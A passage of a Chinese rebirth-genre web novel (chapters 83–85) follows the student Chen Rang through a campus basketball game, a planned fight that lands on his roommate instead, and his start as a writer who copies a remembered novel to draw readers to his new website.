“李大班长，你说自己就说自己，能不能别把我捎上？” “陈让，请你相信我，这次我真没有故意拉踩你，而是陈述客观事实，我们法学院这位大美女，她真的超高冷的——” 陈让没再搭理李文韬——他电话响了。 起身出门去接。 几分钟后陈总回到餐桌，看向众同学。 “我不是一个人来江安校区的，还有个同伴，她也没吃饭，所以我让她也来吃点，大家不介意吧。” 大家当然没意见——讲道理，这顿可是陈让请的。 于是几分钟后，赵兰蕤俏生生的、出现在了众同学面前，然后落落大方的介绍自己。 “你们好，我叫赵兰蕤，很高兴认识大家。” 众同学悉数傻眼。 最懵逼的、肯定是李文韬。 嘴巴张开，幅度之大，绝对吞得下一块两百瓦的灯泡。 夏灵珊倒是不怎么意外——她早知道陈让跟这个赵狐狸走得近。 坐到陈让身边后，赵兰蕤有些奇怪。 “陈让，你的高中同学们，怎么看我的眼神，都怪怪的？” 陈总指了指李文韬，表情有些揶揄。 “这位，我们高中班长，也是你们法学院的，刚才正跟我们说你这位法学院的大美女。” 赵兰蕤先是瞄了李文韬一眼，然后继续问陈让。 “额……他怎么说我的？” 陈总如实回答。 “他说你高冷，特别难追，谁上都不行。” 赵兰蕤半开玩笑半认真的样子： “陈让，我对你可不高冷啊，倒是你对我挺高冷——你都不给我追你的机会。” 李文韬：“……” 众同学：“……” 虽说陈总绝对不是故意的，但他显然已经滋倒了一片。 夏灵珊则暗戳戳骂了一句。 “骚狐狸，臭不要脸！” 第83章 哲学问题 第八十三章 哲学问题 吃完火锅，陈总买完单后，紧赶慢赶回了本校区。 值得一提——回望江校区的校车上，赵兰蕤跟某人说了件事儿。 “陈让，上次跟你室友一起吃饭时，不是答应过他们，由咱俩来组织两个寝室的联谊么，时间就定在周六下午怎么样？” 陈让此时的脑袋，一多半装着马上要内测的“众众网”，在思考如何进行内容填充，另一小半则飘到了林静姝那儿——毕竟某位学神少女，已经跟他发了好几条消息，叫他赶紧回去遛她。 很符合逻辑的，赵兰蕤的话，陈总只听了个模糊大概，下意识点头说了句“可以的”。 讲道理，606其他哥仨都母胎单身，跟美女如云的法学院女生宿舍来个寝室联谊，要能替哥几个解决了个人问题，他陈某人也算功德圆满。 回到望江校区后，陈让跟赵兰蕤挥手告别，然后直奔经济学院女生宿舍楼下，等到林静姝后，两人大手牵小手，开始实施友情维系计划。 踩完蚂蚁，已是深夜。 陈总回宿舍后，简单洗漱，然后沾床就睡——给累的。 跑趟江安校区倒是没觉得累，但是跟某位学神少女维系革命友谊，那是真的累。 所以伟大领袖说得对，“革命不是请客吃饭，革命一个阶级推翻另一个阶级的粗暴运动”。 第二天正常上课。 下午时金融专业的新生们，迎来了大学生涯第一堂体育课。 跟高中吃“大锅饭”不同，大学的体育课，是可以自由选择项目的，如篮球、足球、羽毛球、网球，诸如此类，甚至还有空手道和跆拳道。 陈总选了篮球——这玩意儿简单，会三步上篮和罚球，就能顺利过关拿到学分。 因为自由选课——来上课的同学，金融专业八个班都有。 体育老师花了十分钟讲课，然后让大家自由活动。 于是十来个有些篮球基础的男生，便都聚在篮筐下，假模假样的练起了投篮。 为什么是假模假——底层逻辑是边上有十来个女生在看。 其中包括金融系的系花米莱。 小米同学也选的篮球，不过她属于那种完全不会的，拍球都不利索。 有系花在，这帮男生，肯定想来波实战，以展现自己的雄-风和英姿。 雄竞嘛，人类动物性的体现。 陈总也在投篮。 他有些篮球基础，最擅长投三分——学了库里的一段式发力。 放在这个大家都在用二段发力投三分的时代，这种发力方式堪称降维打击。 不过他也就只有三分算厉害，其他技术都挺一般。 站在三分线外，刷刷扔进几个三分后，陈总听到有人吹他的彩虹屁。 “哇，班长真棒，班长好会射呀！” 陈总听得脸颊抽搐。 侧头一看——米莱正卖力给他鼓掌。 “靠，小浪蹄子，故意的吧！” 陈让一阵腹诽。 讲道理，正经人肯定说“投”的，而不是“射”。 这时有人站出来牵头——某个比陈让还高半个头、浑身肌肉的猛将兄。 “哥几个，光投也没意思，来玩玩？” 很多人都摆手。 “不太会啊。” “没事儿，我也不太会，就随便玩玩，娱乐为主，”猛将兄边说边看向陈让，“班长，你觉得呢？” 猛将兄也是金融一班的，名叫徐国翀，所以叫陈让班长。 陈让耸肩：“我没意见。” 投篮投久了，他也有些手痒。 于是猜拳分组，然后开始对抗。 打的全场，5V5。 上场后，陈总发现自己还是年轻。 蜘蛛侠骑个马—— 刚才嚷嚷自己不太会的几个哥们儿，尼玛一个比一个生猛，不是“经院詹姆斯”就是“金融系科比”。 尤其徐国翀这货，他居然会折叠暴扣！ 陈总还发现自己被针对了。 进攻时队友基本不给自己传球，防守时对面以徐国翀为首的几个猛将兄，却一拿球就盯着他打，不是生突就是颜-射。 徐国翀甚至差点把他隔扣——也就陈总机智、见势不妙躲开了。 “什么仇什么怨，这么针对老子？” 陈总腹诽一阵后，倒也想明白了缘由。 米莱的锅。 刚才投篮热身时，她搁那儿发-骚，不住夸他好会射，其他男生听着，心里参差感不得拉满？ 这不开始实战后就迫不及待的证明自己——系花看过来，我们比陈让更会射！ 随着战况越来越激烈，围过来的女生越来越多。 米莱为首，金融一班的女生聚在一起。 徐国翀彻底来劲。 呼叫一个挡拆，换成了陈让防他。 娴熟胯-下运球后闪电启动，一步就把陈让过了，罚球线附近两个大跨步，到了蓝下，竟是腾空而起，来了个战斧劈扣。 “嘭！” 篮筐发出好大声响。 扣完蓝后，徐同学觉得自己很帅。 秀了秀肌肉后，看向金融一班女生群。 他觉得此处应该有欢呼。 然后在班上获得优先择偶权。 可惜理想有多丰满，现实就有多骨感。 米莱为首，班上女生们不仅没有欢呼，反而都在蛐蛐。 “这个男生我们班的吧，叫徐国翀……” “这家伙干嘛呢，他不会觉得自己很帅吧？” “就是，把篮筐砸得嘭嘭嘭的，砸坏了怎么办？像头大猩猩！” 徐国翀：“……” 差点没一口老血喷出来。 陈让这方后场发球，队友直接把球给了他。 “哥哥们，别啊……” 陈总有自知之明。 他也就三分还行，控运水平可以说是稀烂。 就想甩锅、把球给队友，却发现队友们根本不给机会，早一溜烟跑前场去了。 徐国翀咧了咧嘴，露出白生生的牙，立马逼了过来，开始给陈让上对抗，撞了陈总两下后，成功抢断。 断球成功后，还回过头来，给了陈总一个鄙夷眼神。 然后一骑绝尘、直奔篮筐。 肯定是刚才班上妹子们吐槽他的扣篮太粗鲁，像头大猩猩。 这次徐国翀改成了上篮，风骚无比的果冻上篮，颇有凯里欧文的风采。 可惜还是没有欢呼。 反而换来了更多的嘘声。 “这家伙有病吧？他干嘛要抢我们班长的球？” “就是，想要球，他可以自己去买啊，怎么能抢班长的？” “太粗鲁了，一看就是个暴力狂，我觉得他大学四年都找不到女朋友的！” 其实班上妹子们、压根就是来给陈让捧场的。 指望她们在短时间内、弄懂篮球比赛的规则，还不如指望太阳从西边出来。 所以徐国翀抢断陈让的过程，在妹子们看来，就相当于在大街上抢劫——太粗鲁太不斯文太没有礼貌了！ 徐国翀：“……” 徐同学突然觉得宇宙很虚无，生命很空旷，人生的意义就是没有意义。 虽然他赢了比赛，但是也输了人生啊。 没有意外——陈让这方以大分差输了。 对面的徐国翀，怎么打怎么有，可谓天神下凡。 今天下午，他就是蜀大的“詹姆斯”，经院的“迈克尔”。 然而又有什么用？ 班上妹子们，不鼓掌还是不鼓掌，不欢呼还是不欢呼。 甚至他每进一个球，都会换来许多吐槽。 “没有礼貌，老抢班长的球！” “过于粗鲁，都快把篮筐砸坏了！” “打球厉害有什么用？还不是长得像头大猩猩！” 诸如此类，徐国翀都快疯掉。 倒是陈让——靠着对位者徐国翀的恍惚跟走神，偷鸡摸狗投进两个三分球后，换来了班上妹子们的集体欢呼。 “昂，班长进球了，班长好帅！” “我就说吧，班长你是最会射的！” “班长，班长，班长……” 如此对比，徐国翀等人，参差感直接拉满。 打完球后也下课了，陈让渴的不行，正准备去旁边小卖部买水，米莱凑了过来，递给他一瓶矿泉水。 陈让接过，咕噜咕噜灌了一口后，很无奈的跟她说：“小米同学，谢谢你的水，但是请你以后用词准确一点——你应该说我‘投得准’，而不是‘很会射’。” 米莱揣着明白装糊涂：“班长，‘投的准’跟‘很会射’，难道不是一个意思？” 于是陈总给了她好大一个白眼。 然后撇下米莱往球场出口走——身上黏糊糊的，他准备回宿舍洗澡。 还没出球场，却有个牛高马大、满脸青春痘的男生，将他拦住，表情凶狠的跟他说了句经典台词。 “就你他妈叫陈让？” “额……我是，请问有何贵干……” 陈让嘴里答着，心里则在想，这位仁兄莫非叫“王凯哥哥”？ 疑似“王凯哥哥”的家伙，双手插兜，眺望远方，尽量让自己显得高深莫测。 “我是来递个话的，今天晚上八点，二操场小树林，有人想约你谈一谈。” 陈总秒懂。 学生时代的“谈一谈”，那就是有人想教训自己。 会是谁呢，好难猜哦。 好吧，进校大半个月，自己唯一得罪过的、也就是校文体部的副部长周文清。 除了这个鸟人还能是谁？ 一念至此，陈总颇为诧异。 真没想到这家伙会这么脑残，居然试图用“武器的批判”代替“批判的武器”。 还有就是那些帮周文清出气、准备来找自己“谈一谈”的家伙，也都他妈脑瘫吧。 寒窗十二年，考个九八五很容易？这事儿搞不好可是要开除的！ 好吧，这个年龄段男生是这样的，很容易被所谓哥们义气裹挟，做事根本不考虑后果。 尤其八零末九零初这代人，好多都是被“古惑仔”系列电影荼毒过的。 “行，我知道了，晚上八点对吧，我会去的。” 陈总点了点头，然后摆摆手，把这位“王凯哥哥”打发了。 他是可以选择不去。 但是有些麻烦，你不去解决，它就永远是颗雷。 陈总的应对策略也很简单——找老师！ 此时徐国翀走了过来，疑惑又担忧的说：“班长，王犇找你干嘛？这家伙校篮球队的，今年大三，据我所知，他可不是个善茬儿啊，因为打架，身上还背着留校察看处分。” 他喜欢打球也有天赋，进校半个月就跟校篮球队混的很熟，过阵子肯定也会进校队。 陈让没跟他说实话，胡乱搪塞了几句。 “班长，要真有事儿，一定跟我说啊，我跟校篮球队还是挺熟的，可以帮忙调解……” 徐同学还是很热心肠的。 刚才球场上，因为嫉妒、他是在故意针对陈让。 但也仅限球场。 “真没事……” 讲道理，陈总堂堂未来大帝，这点小事还能处理不好？ “好吧……” 徐国翀走后，杨少杰这家伙，不知道从哪儿冒了出来，十分好奇的样子。 “六哥，刚才那个篮球队的学长，找你什么事？” “没什么事。” 陈总肯定不会告诉杨老三。 这家伙出了名的嘴上不把门，前阵子不还穿凿附会的、跟刘雯说自己想追米莱。 “六哥，可我刚才明明听到今晚八点，二操场小树林……” 感情这家伙刚才就在边上偷听——不过角度的缘故，陈让没看到他。 陈总沉吟两秒后，信口胡诌： “好吧，老三，你可真是个小机灵鬼……刚才那个学长跟我说，我们学校女子篮球队有个女生喜欢我，约我今晚八点去小树林、她要跟我表白……” 杨少杰八卦之魂立马燃烧：“我靠，六哥你的魅力已经发散到女子篮球队了？那你要不要去啊——练篮球的女生，漂亮不漂亮不好说，但是身材应该会很好……” 陈让翻了个白眼：“关你屁事！” 不理会杨少杰后，陈总回宿舍洗了个澡，然后闷头补觉，起床后陪林静姝吃了晚饭，七点半方才慢悠悠的拐去辅导员办公室，然后开门见山。 “严老师，我们学校有学长想打我，我好害怕啊！” “啥？” 严国栋吓了一跳，赶紧叫陈让细说。 几分钟后，“小严”表情变得严肃了，拉着陈让。 “走，跟我去找保安科的马科长，无法无天了啊，今晚凡是到二操场小树林要找你‘谈一谈’的，一个别想跑！” 蜀大保安科的科长，名字很互联网，叫“马杰克”。 听严国栋说清楚事情始末后，也是勃然大怒，立马叫上保安科十来个年轻干事，雄赳赳杀向二操场小树林。 十来分钟后到了地方。 马杰克挥了挥手，十来个保安分散开来，开始搜寻可疑人物。 蜀大的保安干事都有正规编制，也不是胡乱请的，都退伍军人，此刻散开后，竟也保持着三三制的阵型。 搜寻一阵后，有个干事指着某人方向：“科长，那边好像有人在挨打啊！” 十来个保安迅速靠拢过去，很快形成包围圈。 陈让和严国栋跟在后面，随着距离拉近，陈总耳边传来了明显拳脚声，伴随叫骂。 “陈让，老子本来也没想打你，叫你过来，只是让你给我兄弟认个错道个歉，这事儿也就算完了！” “但是你小子太他妈气人了，居然连自己是陈让都不敢承认！” “你他妈要不是陈让，这么晚了鬼鬼祟祟跑小树林干嘛？” “焯，说话啊，前几天怼我兄弟那股嚣张劲儿呢？” “嗯？！” 陈总越听表情越der。 他在思考一个哲学问题——如果挨打的是陈让，那他妈我是谁啊？ 第84章 重生之我在蜀大当渣男！ 第八十四章 重生之我在蜀大当渣男！ 相信聪明的同学已经猜出来了——挨打的“陈让”是杨少杰。 “好奇心害死猫”，这货八卦不说，好奇心也重，自从下午陈让跟他说，有篮球队学姐要跟自己表白后，心里就仿佛猫抓。 一直在想陈让会不会去，那个篮球队学姐长什么模样，要陈让去了又没答应，那位肯定很强壮的学姐会不会用强，将陈让按倒，亲得他“嘤嘤嘤”。 卧槽，越想越刺激！ 眼瞅着快到八点了，杨少杰终于按捺不住、鬼鬼祟祟到了二操场小树林，准备听墙角。 然后就很符合逻辑的、被学校篮球队那帮猛男当成了“陈让”，按着一顿爆锤。 保安干事们到场后，随着电筒光线摇晃，那几个打人的家伙肯定吓绥，纷纷夺路而逃。 一帮空有蛮力的学生娃子，哪可能是退伍军人的对手？ 随着包围圈缩小聚拢，这帮夯货全被逮住，按在了地上。 中间这个过程，陈让走向那个被打得很惨的“陈让”。 借着手机光亮，瞅了五六秒，陈总靠了一声。 地上这个鼻青脸肿的奇行种，分明是杨少杰啊。 “老三，怎么他妈是你？” “呜呜呜，六哥，就是我啊……” 杨少杰哭唧唧的解释。 “六哥，你不是说篮球队有个女生要跟你表白么，我就是忍不住好奇，偷摸过来瞅瞅，然后就被那帮学长围住了，非要逼我承认我是你，我说我不是，他们就按着我打，呜呜，这群畜生！” 陈总：“……” 该怪自己不该胡乱开玩笑，还是怪杨老三这货好奇心太旺盛？ 此时马杰克和严国栋正走过来。 于是陈让压低声音：“老三，知道你委屈，想出气就别管马科长跟严老师说什么，一定先报警——你是被打得很惨，但一时半会儿的、应该也死不了。” 杨少杰：“……” 六哥是在给他出主意，还是在安慰他，亦或是嘲笑他？ 好吧，更可能是兼而有之。 杨少杰决定听陈让的。 马科长和严国栋过来后，有陈让帮着解释，两人很快弄清楚了情况。 表情都变得很der——这事儿闹得！ 严国栋先开口：“杨少杰，咱们先去医院。” “屁股决定脑袋”，他跟马科长肯定要站在学校的角度思考问题，想要“大事化小、小事化了”，尽量缩小这件事的影响范围。 始作俑者周文清、以及这几个打人的夯货，肯定是要处理的。 不过是由学校来处理，而不是通过公安局——那样很容易捂不住的。 堂堂西南第一九八五，开学才几天啊，就发生了打架殴斗事件，传开了影响会很恶劣。 杨少杰恨恨的说：“严老师，我不去医院，我要去公安局找警察叔叔，那几个王八蛋，把我打这么惨，我要他们坐牢，要他们枪毙啊！” 严国栋和马科长：“……” 心想同学你虽然被打的很惨，但是肯定没有达到刑事轻伤的程度。 报警也就是个治安事件，顶天赔钱加拘留，坐牢必不可能，别说枪毙。 但是杨少杰正在气头上，这种话他俩也不能说。 马科长想想后开口：“同学，没说不报警啊，但是你还在流鼻血，脸也这么肿，听话，我们先去医院……” 杨少杰一口咬死：“不去医院，我要先报警！” 他也看出来了学校想低调处理。 哪里肯答应？ 此刻他那个委屈哟。 堪比1912年切丁丁，1945年成为皇协军，1949年加入果党…… 不行，绝对不行！ 报警，必须报警！ 杨少杰如此坚定，马科长和严国栋只得依了——报警处理。 打完110后，严国栋赶紧给经济学院的王老院长打了电话，如实汇报情况。 报警后那就是“兹事体大”，不是他一个小小辅导员能够处理的。 接到报警电话后，武侯区公安分局非常重视——毕竟牵涉到蜀大这样的部属九八五，那就没有小事。 调解室内，一位“白衬衫”亲自上阵，负责这个案子。 蜀大这边也来了几个大领导，譬如经济学院的王松鹤王老院长——堂堂副厅级的大佬。 结果杨少杰很满意。 首先他得了一大笔钱。 医疗费，营养费，精神损失费，林林种种，全部按照最高规格赔偿的。 气也出了。 那几个打他的夯货，悉数喜提拘留套餐，按照“做功比”，三到七天不等。 学校内部的处罚则是留校察看。 毕竟都校篮球队的，学校还要靠这几个夯货打比赛、争荣誉，不可能不给机会、直接开除。 但是有个例外—— 先前已经背了个留校察看处分的“王凯哥哥”——也就是王犇——成功将两个“留校察看”处分合成为一个“勒令退学”。 这货也是该，都背着处分了还敢打架，不开除他开除谁？ 所谓“杀鸡儆猴”，“王凯哥哥”显然就成了那只鸡。 始作俑者周文清最惨。 公安局这边对他的处罚——顶格的拘留十五天。 学校这边则是直接开除。 周文清家里倒也有些关系，后面找人求过情。 但是没用。 蜀大几个大领导——尤其管着招生工作的孙副校长，那叫一个雷霆震怒。 招生工作本来就不好做，周文清教唆篮球队那几个夯货殴打一个新生，对学校的名声，得是多大的损害？ 开除，必须开除！ 报完警后，接下来的流程、陈总没再参与。 第二天上午，学院这边，王老院长专门找他了解情况。 陈总有什么说什么。 没有添油加醋，就是陈述客观事实，甚至把自己骂周文清那几句骚话，都原封不动跟王老院长讲了一遍。 为什么陈总敢说—— 骂人又不犯法。 扯破天也就是“个人素质底下”。 这玩意儿甭管法律还是校规都管不着的。 听陈让讲完后，已经六十出头、后年就要退休的王老院长，表情变得哭笑不得。 他老人家倒也没有上纲上线，只是语重心长的跟某人说，以后遇到类似情况，可以找老师处理，骂人总归是不对的。 要不说学生最大资本就是成绩。 换个高考成绩普通的学生，而不是陈总这样的清北级圣子，大概率会挨个处分。 为什么陈总能没事儿？ 底层逻辑如下—— 如果堂堂清北级圣子、遭受不公平对待后，骂几句脏话宣泄情绪就要背处分，那以后还会有这种成绩的学生，降尊纡贵来蜀大技术扶贫吗？ 杨少杰在医院躺了整整三天。 中间某天，六零六其他哥仨，拎着水果去看了他。 哥几个插科打诨儿一阵后，杨少杰眼神幽怨的看向陈让。 “六哥，我这勉强也算是替你挨的打吧，等我出院了，你不得请我吃顿饭？” 陈总难得当了回好人，摆摆手说请请请，你想吃啥咱吃啥，大不了刷王老五的卡。 杨少杰心里总算舒坦些微。 又扯几句后，这货开始自怨自艾。 “哥几个，我脸这么肿，什么时候才能消啊，你们客观评价一下，我现在是不是特别丑？” “那不能——”陈总接过话茬儿，“老三，别人被打这么惨算毁容，你的话，很明显是算整容啊。” “喵喵喵？” 杨少杰为首，哥仨都看向陈总。 某人一本正经的解释：“老三，其实你脸肿还是不肿都挺丑，但你现在、起码丑的很别致啊！” 杨少杰：“……” 突然觉得前两天挨得那顿毒打，还没陈六子这几句伤害来得大。 王子聪和薛文彬，笑得肩膀不住抖动。 笑了好一阵后，王大少揉着酸疼腮帮子：“六子，我突然有点理解那位周学长了，我要是他，我他妈也想从物理层面惩戒你！” 不知不觉，正式开课后的第一周，如此这般，倏忽而过。 过去这一周，陈总大部分精力都耗在了学业上。 读高中时不止一次被老师们灌鸡汤，说高中再苦也就三年，上大学后就会很轻松。 前世他读了个破三本，的确有这样的感触，时间简直多的用不完。 这辈子换了所九八五，才知道这话也分学校。 拿蜀大来说，正式开课第一周，强度就直接拉满。 排了整整三十六节课，平均每天七节，其中还有三天有万恶的“早八”！ 这还不算——学院还强制规定、所有大一新生都要上晚自习！ 考虑到大学老师一节课灌输的知识点，密度远大于高中——真没比高中轻松！ 不过相较于高中，大学自由度是真的高。 上课时老师们偶尔会点名，但是可操作性很大——譬如可以叫室友帮忙答应。 晚自习不去也不会怎么样，顶多也就被辅导员批评几句。 要能跟查晚自习的同学搞好关系，甚至都不会捅到辅导员那儿。 譬如陈总——他这周就没上过一天晚自习。 每天上完课后，他都会坐校车到江安校区。 这里敲下黑板，陈总现在的身份，已经是蜀大校文体部最年轻的副部长。 周文清这货都开除了，校文体部不就多了个副部长的坑？ 有坑就得找萝卜。 在相关领导建议下，校文体部的部长沈玲，给陈让打了电话。 听沈玲说完——陈总第一反应是很诧异。 他是有进校文体部“技术扶贫”，领导大家做大做强的想法。 但是想法毕竟只是想法。 现实层面—— 别说校文体部，哪怕是院级，也不能说让大一新生做副部长啊，都要从干事做起的。 疑惑之下，陈总开始虚假的谦虚。 “沈部长，我一个平平无奇的大一新生，怎么能当副部长呢，这个不合适吧？” “陈让同学，你就别谦虚了，更不要推辞，部里面真的需要你，你也有这样的能力！” “沈部长，那我只能说……您看人真准！” 虽然想不通文体部怎么就迫切需要他了，沈玲跟他说话，还诡异的带点谦卑，但是某人还是选择了先答应下来。 “苟利——” 甚至还想念首诗的，但是念不得。 这也太僭越。 那么陈让一个平平无奇的大一新生，怎么就摇身一变成了校文体部的副部长？ 这个其实还是他暑假时埋下的伏笔在发挥作用。 校文体部少了个副部长，沈玲肯定要找指导老师汇报。 说来也巧—— 她去找指导老师汇报工作时，指导老师正在跟孙柯汇报工作。 孙副校长听完后，敲了敲桌子。 “既然陈让这小子早就想加入校文体部，干脆就让他当这个副部长吧，年轻人没经验不要紧，多锻炼锻炼就好了。” 孙柯堂堂蜀大的常务副goat，他金口一开，陈让这个副部长，可不就成了“钦定”？ 这也是沈玲近乎是求着陈让当这个副部长的根本缘由。 莫名其妙——至少在陈总看来挺莫名其妙——成为校文体部副部长后，他演都不带演的、直接进入“以权谋私”模式。 接下来几天，每晚都召集校文体部下辖几个文学社的骨干们开会。 美其名曰，“指导大家的创作工作”，其实就是想让这帮文艺咖给他当牛马，提供眼目前众众网最需要的内容填充。 连续开了两天会以后，第三天陈总亮出了自己的“燕国地图”，把这事儿跟这帮文艺咖讲了。 “陈部长，你打算搞网站？牛批啊！” “不是打算，已经在办了，迫切需要大家提供一些内容，不白嫖，我付钱的，具体来说……” “一篇稿子一百块啊，这价格可真高，我相信大家伙都会有兴趣的……陈部长，有什么具体要求么？” 陈让沉吟一番，开始给这帮文艺咖具体描述。 “就是那种贴近生活、合理夸张、有一定艺术加工的小故事……最好第一人称。” 有个叫李云飞家伙接过话茬儿：“陈部长，你说的有点像百度贴吧、天涯论坛流行的，那些个伪纪实型文学啊。” 陈让比了比大拇指，露出一副孺子可教的表情。 “差不多可以这么理解，不过我要求的风格，要更贴合咱们大学生的日常生活。” 李云飞咕哝：“陈部长，那有什么能写的？每天不是上课就是在上课的路上……” 陈让看着满脸坑坑洼洼的李云飞同学，心想你有这样的感触，倒也不奇怪。 毕竟长得好看的孩子才有青春，而你只有青春痘。 翻了翻白眼后，陈总继续开口： “什么叫艺术？来于生活又高于生活！” “大家可以根据自己的日常合理加工啊！” “我给你们举几个例子——” 某人恬不知耻的指着自己。 “震惊——刚入学的我，居然被三个校花倒追！” ‘震惊——我和校花女友不能说的秘密！” “震惊——金融一班有个叫陈让的新生、长得好像金城武！” 李云飞脸颊抽搐：“陈部长，你有没有觉得你好不要脸啊？还有，为啥每句都要加个震惊？很尬的。” 其他人也都差不多表情。 “云飞同学，你这是两个问题啊。” 陈总边说边比起两根手指。 “第一，人总不能为了所谓的脸面、连钱都不要了吧？” “第二，甭管尬不尬，你们就说每个标题前，都加个震惊，能不能博眼球，吸引人点击吧！” 李云飞为首的一众文艺咖：“……” 好奇怪啊，明明陈部长是在信口雌黄，却又诡异的觉得，他说的很有道理。 都是有悟性的孩子。 抛开某人夹带的私货，他们消化一会儿后，也就都明白了、陈让需要什么类型的稿子。 这种类型的故事，会者不难，难者不会。 小部分有文学梦的选择了放弃，觉得写这些故事太掉价。 大多数却都意动，选择了为五斗米折腰。 没办法，陈部长给的实在太多了！ 一百块一篇稿子！ 还是零九年的一百块，购买力绝对嗷嗷的！ 李云飞没有青春、只有青春痘，自然没有女朋友。 精力旺盛却无处宣泄的他，主动请缨，跟陈让说，他可以帮忙审稿，由他负责初审，筛选后再送给陈让终审。 陈总心想你这娃上道。 干脆大手一挥，跟李云飞说，那就交给他了，每过一篇稿子，就给他五块钱提成。 李云飞不住推辞，说他没打算要钱的，陈让却咬定了必须给钱。 作为一个成熟的狗资本家，陈总一直拿金钱当成工具——该省尽量省，该花必须花。 必须付李云飞钱，底层逻辑很浅显——没有利益维系的关系，绝对不会长久。 第二天傍晚，等陈让再到江安校区时，精力非常旺盛的李云飞，已经选好了一批稿件，拿给他过目。 陈让看完，发现质量都挺高。 原因如下—— 其一，都九八五大学生，蜀大文学社这帮文艺咖，文笔普遍都不错。 其二，李云飞这边，也充分发挥了主观能动性，初审就把质量不好、风格不适合的稿件全给筛掉了，给陈让节省了许多精力。 所以吧，陈总这人，最擅长的就是把钱花明白。 他昨天要没有很强硬的给李云飞算酬劳，这家伙肯定不会这么尽心尽力。 李云飞一共送了二十八份稿子。 陈让挑挑选选又毙掉五份后，留下了二十三份。 接着便把稿费和李云飞应得提成，都塞给了这家伙。 那二十三个作者的稿酬，就由李云飞转交了。 陈总懒得费这个神。 拢共也就两三千块钱，李云飞也不可能跑路。 李云飞接过钱后，不好意思的说： “陈部长，大家都是第一次写这种类型的稿子，都在摸索，我跟你保证，下一次能过关的稿件，绝对能翻倍！” “不过才两天，就收了二十多份稿子，已经不错了。” 陈让边说边拍李云飞的肩膀。 好生鼓励一番后，陈让又跟他说，让他加大收稿力度，你陈部长这人唯一的优点，大概就是有几个臭钱，只要有好稿子，我这边有多少要多少！ 感受一波“陈总牌”震撼后，李云飞自是干劲十足，继续卯足劲儿收稿去了。 估计是受到这帮文艺咖感染了吧，陈总这边也打算搞一搞内容创作，给马上就要开始内测的“众众网”添砖置瓦。 决定写本小说。 小说引流属于常见手段。 譬如金庸，当年写武侠小说的初衷，就是给自己办的《明报》引流。 讲道理的话，陈让这种“远看大腿白、近看大白腿”的文学水平，会写个der的小说哟。 不过没所谓，不会写未必还不会抄？ 重生者抄几本小说，属于是基操。 在上辈子自己读过的网络小说中挑挑选选后，最终陈总敲定了一本都市文神作。 有多神？ 这本书开辟了都市文新赛道，被誉为渣男流的开山鼻祖。 巧合的是，这本小说的男主也姓陈，叫做“陈汉生”。 女主有两个，“沈幼楚”和“萧容鱼”。 前者被誉为宝藏女孩，人间妄想。 后者则是白月光的具象化，傲娇女神类型。 小说剧情，主要讲述了男主陈汉生重生后，如何通过渣男手段、将两位女神都拐到手的…… 为什么陈总选了这本小说？ 考量如下—— 其一，这本小说的剧情，主要发生在校园，陈总打算魔改一下，将故事发生地点设定在蜀大。 众众网前期引流，肯定是在蜀大内部挖潜。 蜀大的学生们，读到这本经过陈总魔改后的小说，那代入感不就嗷嗷上来啦？ 其二，这本小说是真好看，经典中的经典，写出来就不怕没人看。 零九年这个时间节点，各大网文站，倒也有不少重生文，但从后世的眼光去看，这些古早时代的重生文，写法挺落后的。 陈让提前十年把这本渣男流开山神作拿出来，对现在市面上所有的重生文，都将是降维打击。 要写小说，首先得想个书名吧。 周五晚上，从江安校区回到本校区后，陈让直奔宿舍，然后用刚买的笔记本电脑，敲下了这么一排字——《重生之我在蜀大当渣男》！ 第85章 月色很美、风也温柔 第八十五章 月色很美、风也温柔 灵魂叠加后产生的小福利，陈让前世的记忆，仿佛脑海中的座座宫殿，只要努力去推开宫殿的门，就能看清里面的布景。 这也让没多少文学素养的陈总，有了创作小说的可能。 还是那句话——不会写还不会抄？ 敲下书名后回忆一下剧情，陈让开始码字。 起先挺生涩。 十分钟后开始进入状态。 半小时后，直接就如有神助了，简直文思如尿崩。 “大道至简、殊途同归”，如此看来，写小说这玩意儿，跟那啥也挺像的。 这时肯定有同学出来抬杠，说这不穿凿附会么，那陈总只能满脸同情的看着你，这位同学，你没有半小时以上的经验，陈总不怪你。 陈让第一次写小说，却只用了两个小时，就码完了三章一万字，保存好稿子后，他关了电脑。 起身活动下筋骨后，飞速洗漱，然后准备睡觉。 今天又是上课，又是去江安校区收稿，回到宿舍后还写了两小时小说——早累坏了。 也就暑假时，陈让未雨绸缪的健身了三个月，有一定的体能储备。 否则就他现在这个忙法，很大概率会“先帝创业、而中道崩殂”的。 要不网上会有这样的说法呢——华尔街的资本家，个个都是运动员！ 一夜无话。 弦月落下，朝阳升冉，时间线来到了二零零九年九月十九日，星期六。 一大早，林静姝就给陈让发了条信息。 “富贵同学，你下午打算在哪儿请我的室友们吃饭？” 军训第一天，陈总就答应过某位学神少女、请她室友们吃饭。 结果他军训时嫌热，军训完了又特别忙，一拖再拖、给拖到了现在。 昨天抽空跟林大美人聊QQ时，说起过这个事儿。 陈让自己都觉得不好意思，于是把时间定在了今天下午。 “吃火锅吧，就‘巴蜀人家’，这家火锅店，江安校区和咱们校区都有分店，我吃过江安店的，挺好吃的……” “好吖——陈让，下午吃饭时，能把你的三个室友也叫上吗，算是两个寝室的联谊吧。” 陈让多大个人精，一看就知道后面这句话不可能是林静姝的主意。 劈里啪啦敲了几个字过去。 “林呦呦，这是你室友们要求的吧？” “陈同学，让你叫你就叫，哪儿那么多话啊，总不能下午吃饭时，我们三个姐妹，都吃你跟林静姝的狗粮吧，你以为这玩意儿很好吃？” 这话显然是林静姝某个室友发过来的，多半把她手机都薅过去了。 陈让继续打字：“行吧，那就都叫上，不过丑话说在前头啊，我那三个狗儿子，帅起来不明显，丑起来却很别致，三位小姐姐别抱太大期待。” 对面那位小姐姐大抵是个妙人，给陈总回了这么一句。 “没关系，本格格现在是饥-渴模式，丑的照杀！” 陈让忍俊不禁，知道跟自己聊天的是谁了——叶芊芊。 这姑娘跟林静姝走得最近，陈总自然了解过一下子。 一位来自北京的大妞。 她为什么自称“本格格”，倒也不算玩尬。 叶芊芊满族的，本来不姓“叶”，而是“叶赫那拉”，老佛爷知道吧，就是这个姓。 跟叶格格掰扯完毕，陈让放下手机，看向三个狗儿子。 “哥几个，下午吃火锅，我请客，还有美女哟！” 其他哥仨立马瞪大眼睛，听某人说清楚后，那叫一个激动，都嗷嗷高呼着“六爷万岁”。 “寝室联谊……似乎……哪里没对。” 看着欢呼又雀跃的三个狗儿子，陈总却是微微皱眉，开始犯嘀咕。 总觉得这话什么时候听过，但是又想不起来。 最近实在太忙，脑袋都迷糊的。 到了中午，他收到了一条QQ消息，赵兰蕤发给他的。 